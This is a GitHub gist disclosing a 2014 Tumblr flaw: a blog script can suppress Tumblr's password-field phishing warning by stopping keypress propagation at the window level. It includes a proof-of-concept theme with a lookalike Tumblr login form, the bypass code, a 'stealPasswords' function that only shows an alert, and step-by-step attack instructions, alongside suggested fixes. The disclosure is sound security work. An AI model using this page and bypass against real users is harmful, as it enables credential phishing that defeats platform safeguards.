Skip to content

Instantly share code, notes, and snippets.

@josephwegner
Created February 11, 2014 23:35
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save josephwegner/09a61efbe3ca6f378a44 to your computer and use it in GitHub Desktop.
Save josephwegner/09a61efbe3ca6f378a44 to your computer and use it in GitHub Desktop.
Tumblr Security Vuln.
In order to prevent phishing, Tumblr has a code block in pre_tumblelog.js that is supposed to give the user a warning if they start typing in a password field on a user's blog. This is so a malicious user can't create a lookalike login form on their blog and trick users into giving them their passwords.
You can see a beautified version of the relevant javascript snippet here: https://gist.github.com/josephwegner/8944438
To display this warning, Tumblr is binding to the document's keypress event, and then checking if the keypress was done on a password input.
There is a major flaw with this strategy, though. The document is not the earliest element in the DOM tree. A malicious script could bind the the window's keypress event, and tell the event to stop propagating. This means Tumblr's phishing check would never get called. Simply binding to window's events instead of document's events would solve this issue.
You can see an example of this vulnerability in the attached proof of concept.
While we're at it, there's another fairly major usability bug in the script. It appears that the script author's original intent was to display the phishing warning the first time the user presses a key, and disable it if the user bypasses the warning. The javascript is wrong here, and the warning displays with each key press. This is a major UX issue if there is a legitimate password input on the page.
Instead of changing the variable that contains the callback function, the correct method is to unbind the event. This is pretty simple, with a statement like:
document.removeEventListener("keypress", b);
<!DOCTYPE html>
<!--[if lt IE 7]><html class="lt-ie10 lt-ie9 lt-ie8 lt-ie7"><![endif]-->
<!--[if IE 7]><html class="lt-ie10 lt-ie9 lt-ie8"><![endif]-->
<!--[if IE 8]><html class="lt-ie10 lt-ie9"> <![endif]-->
<!--[if IE 9]><html class="lt-ie10"> <![endif]-->
<!--[if gt IE 9]><!--> <html> <!--<![endif]-->
<head>
{MobileAppHeaders}
<meta charset="utf-8">
<title>{Title}{block:SearchPage} ({lang:Search results for SearchQuery}){/block:SearchPage}{block:PermalinkPage}{block:PostSummary} — {PostSummary}{/block:PostSummary}{/block:PermalinkPage}</title>
{block:Description}
<meta name="description" content="{MetaDescription}">
{/block:Description}
<!-- Theme Defaults -->
<meta name="Title font" content="Helvetica Neue">
<meta name="Title font weight" content="bold" title="Bold">
<meta name="Title font weight" content="normal" title="Normal">
<meta name="Body font" content="Helvetica Neue">
<meta name="Background color" content="#f6f6f6">
<meta name="Title color" content="#444444">
<meta name="Link color" content="#529ecc">
<meta name="Header image" content="">
<meta name="if:Sliding header" content="1">
<meta name="if:Stretch header image" content="1">
<meta name="if:Collapse navigation" content="1">
<meta name="if:Show description" content="1">
<meta name="if:Show title" content="1">
<meta name="if:Show header image" content="1">
<meta name="if:Endless scrolling" content="1">
<meta name="select:Avatar style" content="circle" title="Circle">
<meta name="select:Avatar style" content="square" title="Square">
<meta name="select:Avatar style" content="hidden" title="Hidden">
<meta name="select:Layout" content="regular" title="Regular">
<meta name="select:Layout" content="narrow" title="Narrow">
<meta name="select:Layout" content="grid" title="Grid">
<meta name="text:Disqus shortname" content="">
<meta name="text:Google analytics ID" content="">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="apple-mobile-web-app-capable" content="yes">
<link rel="shortcut icon" href="{Favicon}">
<link rel="apple-touch-icon-precomposed" href="{PortraitURL-128}">
<link rel="alternate" type="application/rss+xml" href="{RSS}">
<link rel="stylesheet" href="http://static.tumblr.com/vr9xgox/PuGmmhqcs/normalize.css">
<link rel="stylesheet" href="http://static.tumblr.com/vr9xgox/adcmzkawk/main.css">
<!-- HTML5 Shiv -->
<!--[if lt IE 9]>
<script src="http://static.tumblr.com/hriofhd/Qj0m8pn7q/html5shiv.js"></script>
<![endif]-->
<style>
body {
background: url(https://24.media.tumblr.com/12a32ff6cd8c3ce5304aed62a6865466/tumblr_mup098pSnX1rycoxmo1_1280.jpg);
text-align: center;
background-size: cover;
padding-top: 200px;
}
h1 {
text-align: center;
color: white;
}
input {
font-size: 18px;
padding: 5px 10px;
border: none;
}
input[type="text"] {
border-bottom: 1px solid grey;
border-top-left-radius: 5px;
border-top-right-radius: 5px;
}
input[type="password"] {
border-bottom-left-radius: 5px;
border-bottom-right-radius: 5px;
}
a.secButton {
color: white;
padding: 10px 80px;
margin-top: 20px;
background-color: #529ecc;
border-radius: 5px;
border: none;
display: inline-block;
}
</style>
</head>
<body data-urlencoded-name="{URLEncodedName}" class="{select:Layout}{block:IndexPage} index-page{/block:IndexPage}{block:PermalinkPage} permalink{/block:PermalinkPage}{block:SearchPage} search-page{block:NoSearchResults} no-results{/block:NoSearchResults}{/block:SearchPage}">
<h1>Tumblr</h1>
<input type="text" id="username" /><br>
<input type="password" id="password" /><br>
<a class="secButton" onclick="stealPasswords(); ">Log In</a>
<script type="text/javascript">
window.addEventListener("keypress", function(e) { e.stopPropagation(); }, true);
function stealPasswords(e) {
var username = document.getElementById("username").value;
var password = document.getElementById("password").value;
alert("I just stole your password. Username: "+username+" Password: "+password);
}
</script>
</body>
</html>
1. Create a tumblr blog with a password input
2. Bind to the window's keypress event ( window.addEventListener('keypress', function(e) { }, true); )
3. Tell the event to stop propagating after the window's event is called.
4. Grab user's credentials when they try to submit the form
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment